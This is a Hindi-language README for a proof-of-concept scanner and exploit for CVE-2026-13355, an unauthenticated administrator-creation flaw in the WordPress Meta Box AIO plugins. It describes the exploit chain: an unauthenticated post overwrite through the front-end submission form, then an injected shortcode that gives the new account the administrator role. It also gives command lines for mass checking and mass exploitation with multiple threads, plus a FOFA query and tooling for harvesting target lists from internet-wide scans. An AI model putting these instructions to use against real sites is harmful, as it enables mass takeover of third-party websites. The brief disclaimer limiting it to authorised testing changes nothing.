CVE-2026-13355 — Meta Box AIO अनधिकृत प्रशासक विशेषाधिकार उन्नयन

WordPress बंडल Meta Box AIO (और संबंधित MB Frontend Submission / MB User Profile एक्सटेंशन) में CVE-2026-13355 के लिए Python 3 प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर और एक्सप्लॉइट।

सारांश

दो बंडल किए गए एक्सटेंशन में श्रृंखलाबद्ध त्रुटियाँ अनधिकृत प्रशासक खाता निर्माण की अनुमति देती हैं:

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id बिना प्रमाणीकरण के फ़ॉर्म लक्ष्य को ओवरराइड करता है; Form::process() में user_can_edit() छूट गया है, इसलिए हमलावर wp_update_post() कर सकते हैं और मनमाने पोस्ट/पेजों पर post_content को ओवरराइट कर सकते हैं।
2. MB User Profile (mbup) — इंजेक्ट किए गए [mb_user_profile_register role="administrator" auto_login="true"] शॉर्टकोड एट्रिब्यूट्स को बिना भूमिका सत्यापन के विश्वसनीय माना जाता है।

महत्वपूर्ण: एक्सप्लॉइट श्रृंखला के लिए एक सार्वजनिक mbfs (फ्रंटएंड सबमिशन) फ़ॉर्म आवश्यक है, न कि केवल-लॉगिन mbup फ़ॉर्म। कई FOFA हिट केवल mbup लॉगिन/रजिस्टर UI को उजागर करते हैं — उन्हें plugin_mbup_only के रूप में चिह्नित किया जाता है, इस श्रृंखला के माध्यम से शोषणीय नहीं।

आवश्यकताएँ

• Python 3.8+
• pip install -r requirements.txt

त्वरित शुरुआत

pip install -r requirements.txt

# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check

# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → लक्ष्य सूची

उदाहरण क्वेरी:

body="/wp-content/plugins/meta-box-aio/"

FOFA CSV निर्यात को सामान्य करें:

python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20

CLI विकल्प

आउटपुट फ़ाइलें

exploit रन पर --vuln-list exploited.txt का उपयोग करें ताकि hits.txt में check हिट ओवरराइट न हों।

status मान जाँचें

एक्सप्लॉइट नोट्स

• पॉइज़न चरण ?rwmb_frontend_field_object_id=<id> के साथ एक mbfs फ़ॉर्म के माध्यम से post_content को POST करता है।
• सफलता के लिए इंजेक्ट किए गए शॉर्टकोड को पॉइज़न किए गए पेज पर रेंडर होना आवश्यक है (कोई strip/KSES नहीं, पैच किया गया प्लगइन, गलत फ़ॉर्म प्रकार)।
• संपर्क/न्यूज़लेटर mbfs फ़ॉर्म में अक्सर वास्तविक post_content फ़ील्ड नहीं होता; व्यवहार में ओवरराइट अभी भी विफल हो सकता है।
• POST पर HTTP 403 आमतौर पर WAF/होस्ट ब्लॉकिंग को इंगित करता है।

रिपॉज़िटरी लेआउट

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

स्थानीय स्कैन सूचियाँ और रन आर्टिफ़ैक्ट (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) .gitignore में हैं और इन्हें कमिट नहीं किया जाना चाहिए।

संदर्भ

• NVD — CVE-2026-13355
• Wordfence advisory
• Meta Box AIO changelog

कानूनी

केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। लागू कानूनों और कार्यक्रम नियमों के अनुपालन की जिम्मेदारी आपकी है।